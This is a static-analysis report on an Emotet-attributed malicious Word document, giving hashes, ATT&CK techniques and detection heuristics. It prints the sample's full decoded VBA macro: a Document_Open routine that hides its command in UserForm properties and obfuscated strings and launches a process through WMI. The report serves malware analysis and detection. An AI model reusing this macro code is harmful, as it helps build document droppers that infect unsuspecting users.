Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 ca4ae10db92df8cf…

MALICIOUS

Office (OLE)

172.0 KB Created: 2020-07-21 19:33:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 1320f1cae3ed368c9737df76811ffffa SHA-1: 30d76879dea7ca2de71a5425567322768dea9718 SHA-256: ca4ae10db92df8cf44bacee70e7560ae411a37d1559687ad47687282ca447526
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet. The ClamAV detection name further supports this attribution. The VBA code constructs a string that is likely a URL or command to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10004 bytes
SHA-256: e3d08b43a3cdafdb1934d251e41dffce8a7dd163ac3b92ff9d3b3834361f90ae
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "teavquuufdeifziat"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
moigcuulyoag
End Sub


Attribute VB_Name = "zoethxubciom"
Attribute VB_Base = "0{EEF5867B-D682-456B-94B8-DEACC1A05F63}{4C615396-B97B-404C-8FC9-A116DC2688A4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "queaqupoidchiephaix"
Function moigcuulyoag()
yiamjoay = Chr(zoethxubciom.Zoom + Int(15))
Dim SQiN0ÀkZ4â As Double
joiwlaodyobxek = "3264gyjvgjh^&Fv2b3dsdfffw233264gyjvgjh^&Fv2b3dsdfffw23wi3264gyjvgjh^&Fv2b3dsdfffw23nm3264gyjvgjh^&Fv2b3dsdfffw233264gyjvgjh^&Fv2b3dsdfffw23gmt3264gyjvgjh^&Fv2b3dsdfffw23" + yiamjoay + ":w3264gyjvgjh^&Fv2b3dsdfffw233264gyjvgjh^&Fv2b3dsdfffw23in3264gyjvgjh^&Fv2b3dsdfffw23323264gyjvgjh^&Fv2b3dsdfffw23_3264gyjvgjh^&Fv2b3dsdfffw23" + zoethxubciom.soejloedzuyxol + "r3264gyjvgjh^&Fv2b3dsdfffw23oc3264gyjvgjh^&Fv2b3dsdfffw23es3264gyjvgjh^&Fv2b3dsdfffw23s3264gyjvgjh^&Fv2b3dsdfffw233264gyjvgjh^&Fv2b3dsdfffw23"
suhdourziach = noetyaew(joiwlaodyobxek)
Dim hZvXd4âE As String
hZvXd4âE = Replace$("YjogUE", "Yjo", "MQtf7Ò")
Set cixzaejkiog = CreateObject(suhdourziach)
Dim y4Út As Integer
y4Út = 9
Do While y4Út < 9 + 9
y4Út = y4Út + 9: DoEvents
Loop
loubjoufchaoz = zoethxubciom.warceachzaecthiaf.ControlTipText
Dim oAF As Integer
oAF = 3
Do While oAF < 3 + 9
oAF = oAF + 9: DoEvents
Loop
taigpiakjaithkual = suhdourziach + yiamjoay + zoethxubciom.xuaktiarfoojfuan.ControlTipText + loubjoufchaoz
Dim hcgKyIb4ÛjC As Integer
hcgKyIb4ÛjC = 5
Do While hcgKyIb4ÛjC < 5 + 5
hcgKyIb4ÛjC = hcgKyIb4ÛjC + 7: DoEvents
Loop
feetwaezrifgiach = taigpiakjaithkual + zoethxubciom.soejloedzuyxol
Dim kbbShoFNe As String
kbbShoFNe = Replace$("ev5ÒPMnmcnAU", "ev5ÒPMnmc", "G2ÙPMeK2ËOD")
Set vuaxveulxos = puxwuuryoibceaw(feetwaezrifgiach)
Dim Vdu As Object
xc = Array(dew, eed, qed, cixzaejkiog. _
Create(hiathjauw, ziechkaiz, vuaxveulxos), woj, www)
Dim RTyScy As Currency
End Function
Function puxwuuryoibceaw(xeezxaifyuujtoch)
Set puxwuuryoibceaw = CreateObject(xeezxaifyuujtoch)
Dim AQYENtSBaX As String
AQYENtSBaX = Replace$("gjNsI0ÝbqcyTC", "gjNsI0Ýbq", "jFORyh")
puxwuuryoibceaw _
. _
showwindow = (loicxaokkoaf + chaochtuuvxum) + (taumciabgiplich + chuahliehlauj)
Dim rwsuXtFX As Integer
rwsuXtFX = 1
Do While rwsuXtFX < 1 + 1
rwsuXtFX = rwsuXtFX + 7: DoEvents
Loop
End Function
Function noetyaew(jaupkokrooddul)
bioqukitdup = jaupkokrooddul
Dim kcAag4Hn As String
kcAag4Hn = Replace$("mrkX0ÅyuviuOJL", "mrkX0Åyu", "oLsDGg")
thiadjauxtooc = Split(bioqukitdup, "3264gyjvgjh^&Fv2b3dsdfffw23")
Dim wBf As Integer
wBf = 7
Do While wBf < 7 + 4
wBf = wBf + 8: DoEvents
Loop
yeutgaejroen = cvf + Join(thiadjauxtooc, cvf)
Dim JQ5âYJ1ÇiRqo As String
JQ5âYJ1ÇiRqo = Replace$("vAdPbypeHeM6Ô6Ðpe", "vAdPbypeH", "i2ÍLagvF")
noetyaew = yeutgaejroen
Dim w3ÉJ As Long
End Function
Function hiathjauw()
io = zoethxubciom.xeubchidziech.Pages(1).ControlTipText
Dim qAgF As String
qAgF = Replace$("aC48ßAlw3ÁSqNYdW", "aC48ßAlw3ÁS", "cZB")
hiathjauw = noetyaew(io)
Dim ppu As Date
End Function


' Processing file: /opt/analyzer/scan_staging/404c42b31a9d47b3b16b52f8d14806c4.bin
' ===============================================================================
' Module streams:
' Macros/VBA/teavquuufdeifziat - 1365 bytes
' Line #0:
' 	LineCont 0x0004 02 00 00 00
' 	FuncDefn (Sub teavquuufdeifziat())
' Line #1:
' 	ArgsCall Document_open 0x0000 
' Line #2:
' 	EndSub 
' Line #3:
' Macros/VBA/zoethxubciom - 1192 bytes
' Macros/VBA/queaqupoidchiephaix - 5524 bytes
' Line #0:
' 	FuncDefn (Function Document_open())
' Line #1:
' 	Ld zoethxubciom 
' 	MemLd Chr 
' 	LitDI2 0x000F 
' 	FnInt 
' 	Add 
' 	ArgsLd yiamjoay 
... (truncated)